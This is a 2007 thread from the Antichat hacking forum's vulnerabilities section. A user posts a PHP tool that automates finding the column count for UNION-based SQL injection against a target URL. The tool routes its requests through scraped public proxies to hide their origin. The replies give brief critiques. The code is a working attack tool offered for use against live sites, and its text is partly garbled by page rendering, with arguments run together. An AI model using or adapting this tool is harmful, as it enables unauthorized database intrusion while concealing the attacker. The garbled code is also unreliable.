Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   скрипт подбора колонок на php (https://forum.antichat.xyz/showthread.php?t=32926)

fod 07.02.2007 20:22

скрипт подбора колонок на php
 
Очень простой скрипт для автоматизации подбора.
Советы, пожелания... ?

Использование простое, вставляем найденную скуль, вставляем, что искать в контенте и количесво колонок на перебор.


PHP код:

<html>
<body>
<style>
body {font-family: verdana;}
div.text {width: 600px; border: 1px dashed red; padding: 10px; text-align: left;}
div.results {width: 600px; border: 1px dashed #27B158; padding: 10px; text-align: left;}
._text {width: 100%; font-family: Verdana;}
._submit {font-family: verdana; font-weight: bold;}
</style>
<div align="center">
<div class="results">

</div>
<br />
<div class="text">
<b>Подбор количества столбцов.</b><br /><br />
<form name="sql_injection" action="" method="post">
URL: <input class="_text" name="url" type="text" value="<?=(isset($_POST['url']))?$_POST['url']:'http://www.example.com/sql.php?id=-1+union+select+1/*'?>"><br /><br />
Искать в контенте текст:<br />
<input class="_text" name="text" type="text" value="<?=(isset($_POST['text']))?$_POST['text']:'SELECT statements'?>"><br />
<input name="type" type="radio" value="-"<?=((isset($_POST['type']) AND $_POST['type']=='-') OR !isset($_POST['type']))?' checked':''?>> пока не пропадет.<br />
<input name="type" type="radio" value="+"<?=(isset($_POST['type']) AND $_POST['type']=='+')?' checked':''?>> пока не появится. <br /><br />
Максимальное количество столбцов.<br />
<input class="_text" name="columns" type="text" value="<?=(isset($_POST['columns']))?$_POST['columns']:100?>"><br /><br />
<input class="_submit" type="submit" name="submit" value="Подбор!">
</form>
</div>
</div>
</body>
</html>
<pre>
<?php
set_time_limit
(0);

function 
parse_for_proxy()
{
        
$html file_get_contents("http://www.proxy4free.com/page1.html");
        
preg_match_all("#<td>(\d+\.\d+\.\d+\.\d+)<\/td>\s*<td>(\d+)<\/td>#s"$html$m);

        for (
$i=0$i<sizeof($m[1]); $i++)
        {
                
$proxies[] = $m[1][$i] . ':' $m[2][$i];
        }
        
shuffle($proxies);
        return 
$proxies;
}

function 
check_proxy($prx)
{
        
$ch curl_init();
        
curl_setopt($chCURLOPT_URL'http://www.msn.com/');
        
curl_setopt($chCURLOPT_PROXY$prx);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_HEADER1);
        
curl_setopt($chCURLOPT_CONNECTTIMEOUT30);

        
$data curl_exec ($ch);
        
curl_close($ch);

        if (
$data !== false AND preg_match('#HTTP\/1\.\d+ 200#',$data))
        {
                return 
true;
        }
        else
        {
                return 
false;
        }
}


function 
http_get_contents($url$prx$timeout=7)
{
        
$ch curl_init();

        
curl_setopt($chCURLOPT_URL$url);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);

        
curl_setopt($chCURLOPT_USERAGENT"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)");

        
curl_setopt($chCURLOPT_PROXY$prx);

        
curl_setopt($chCURLOPT_VERBOSE0);// показывать вывод
        
curl_setopt($chCURLOPT_CONNECTTIMEOUT$timeout);
        
curl_setopt($chCURLOPT_TIMEOUT$timeout);
        
curl_setopt($chCURLOPT_NOSIGNALfalse);

        
$data curl_exec ($ch);

        
/*
        $inf = curl_getinfo($ch);
        $error = curl_error($ch);
        $errno = curl_errno($ch);
        */

        
curl_close($ch);

        return 
$data;
}

if (isset(
$_POST['submit']))
{
        
$proxies parse_for_proxy();
        for (
$i 0$i sizeof($proxies); $i++)
        {
                if (
check_proxy($proxies[$i]))
                {
                        
$proxy $proxies[$i];
                        echo 
'Прокся: ' $proxies[$i] . "\n";
                        break;
                }
                else
                {
                        
$proxy false;
                }
        }

        if(
$proxy == false)
        {
                echo 
'Нет живых proxy.';
                exit;
        }

        if (
get_magic_quotes_gpc())
        {
                foreach(
$_POST as $k => $v)
                {
                        
$_POST[$k] = stripslashes($v);
                }
        }

        
$_POST['text'] = trim($_POST['text']);
        
$_POST['url'] = trim($_POST['url']);
        
$comments substr($_POST['url'], -2);
        
$url substr($_POST['url'], 0, -2);

        
$_POST['columns'] = ceil($_POST['columns'] * 1);

        for (
$i 2$i <= $_POST['columns']; $i++)
        {
                
$url .= "," $i;
                echo 
$url $comments ."\n";
                
flush();

                
$html http_get_contents($url $comments$proxy);

                if(
$html == false)
                {
                        echo 
"Трабл с коннектом.";
                        exit;
                }

                
$searching strpos($html$_POST['text']);

                
var_dump($searching);

                if(
$_POST['type'] == '-' AND $searching === false)
                {
                        break;
                }
                elseif(
$_POST['type'] == '+' AND $searching)
                {
                        break;
                }
        }
}
?>


_Great_ 07.02.2007 21:12

Нуу это не дело. А если на сервере курла нету?

Iceangel_ 07.02.2007 21:18

Ничего... Пригодится...

fod 07.02.2007 21:31

Цитата:

Нуу это не дело. А если на сервере курла нету?
да, это минус. будет время, через сокеты переделаю...

guest3297 07.02.2007 23:38

Корявая реализация.

fod 08.02.2007 00:09

Цитата:

Корявая реализация.
Был бы очень признателен, если б ткнули в кривизну.


Время: 09:27